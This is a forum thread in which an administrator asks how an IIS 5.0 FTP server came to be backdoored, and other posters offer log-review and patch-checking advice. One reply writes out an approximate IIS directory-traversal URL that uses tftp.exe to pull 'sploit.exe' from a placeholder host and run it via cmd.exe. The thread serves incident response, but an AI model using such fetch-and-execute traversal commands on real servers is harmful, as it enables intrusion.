Assessing Compromised machine

[sohtnax]

I have a client with a compromised FTP server running IIS 5.0. I found the hacker to have installed the W32/Wollf.B backdoor in the System32 directory. How can I determine how he was able to get in?

 

[MichealC4]

After the usual disconnecting from the network and so on, I personally would start by going through IIS logs. One way to inject is through running tftp from the web server, and downloading the backdoor from the attackers server. I would then check event logs. After that, I would review Windows Updates. I was backdoored through the LSASS vulnerability a while ago, for example. Make sure you keep a log of everything you do, for a) future reference and b) in case your superiors want to know. Good luck!

----------------------------
"Security is like an onion" - Unknown

 

[sohtnax]

The server was definitely patched becuse I have an SUS server, and I was able to confirm that. I went through all the logs and found that it was the SYSTEM account which was compromised.

Not clear on how they would have used TFTP to do so, especially since they had accessed the system folder?

 

[nipester]

If your logs tell you exactly, or approximately when the system account was compromised, you might want to look at suspicious events just before that compromise.

 

[MichealC4]

> Not clear on how they would have used TFTP to do so, especially since they had accessed the system folder?
There is an exploit in IIS 5 (but since you said you have the patches, this may not be the case) that allows something like this:

http://127.0.0.5/blah/../../../../winnt/system32/tftp.exe

-c 255.255.255.255 -f sploit.exe

http://127.0.0.5/blah/../../../../winnt/system32/cmd.exe

-e sploit.exe

I can't remember the exact switches but you get the idea. Also, unicode (ie %20 for spaces) is often used in this.

But since you have the latest patches, this may not be the case. I'd go through your logs next and event logs as nipester suggested.

----------------------------
"Security is like an onion" - Unknown

 

[Sympology]

Could it be they got in before the patches applied? Most patches prevent security access issues not fix them. e.g the Blaster / Nachi virus patch only prevented you getting infected, if you were already infeceted, you still had all the symptoms.

Stu..

Only the truly stupid believe they know everything.
Stu.. 2004